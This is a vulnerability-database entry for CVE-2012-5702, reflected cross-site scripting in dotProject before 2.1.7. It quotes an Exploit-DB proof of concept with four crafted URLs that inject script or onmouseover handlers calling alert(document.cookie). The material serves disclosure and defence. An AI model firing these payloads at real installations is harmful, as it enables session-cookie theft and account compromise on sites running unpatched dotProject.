CVE-2012-5702

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Published 2014-10-21 · Modified 2026-05-06

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CVSS v3

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CVSS v4 NEW

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not yet in upstream

VIR risk

5.3

Description

Multiple cross-site scripting (XSS) vulnerabilities in dotProject before 2.1.7 allow remote attackers to inject arbitrary web script or HTML via the (1) callback parameter in a color_selector action, (2) field parameter in a date_format action, or (3) company_name parameter in an addedit action to index.php. NOTE: the date parameter vector is already covered by CVE-2008-3886.

Predictions

Exploit likelihood

20%

Patch ETA

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Heuristic predictions, AS-IS, for prioritization only.

Mitigations

No mitigations published for this CVE yet.

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Exploits

Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.

Exploit-DB

EDB-38043 webapps php verified text · 1 KB

High-Tech Bridge · 2012-11-21

dotProject 2.1.x - 'index.php' Multiple Cross-Site Scripting Vulnerabilities

text exploit Source: Exploit-DB

source: https://www.securityfocus.com/bid/56624/info
 
Dotproject is prone to the following security vulnerabilities:
 
1. Multiple SQL-injection vulnerabilities
 
2. Multiple cross-site scripting vulnerabilities
 
Exploiting these vulnerabilities could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
 
Dotproject versions prior to 2.1.7 are vulnerable. 

http://www.example.com/?m=public&a=color_selector&callback=%3C/script%3E%3Cscript%3Ealert%28document.cookie%2 9;%3C/script%3E
http://www.example.com/?m=public&a=date_format&field=%3C/script%3E%3Cscript%3Ealert%28document.cookie%29;%3C/ script%3E
http://www.example.com/index.php?m=contacts&a=addedit&contact_id=0&company_id=1&company_name=%22%20onmouseove r=%22javascript:alert%28document.cookie%29%22
http://www.example.com/index.php?a=day_view&date=%22%20onmouseover=%22javascript:alert%28document.cookie%29%2 2

Application impact

Vendor	Product	Versions	Fixed
dotproject	dotproject	`{"endIncluding":"2.1.6"}`

References

CWEs

CWE-79

Community-verified mitigations for this CVE will appear above when contributors publish them.

Verify integrity in audit chain (admin only). AS-IS.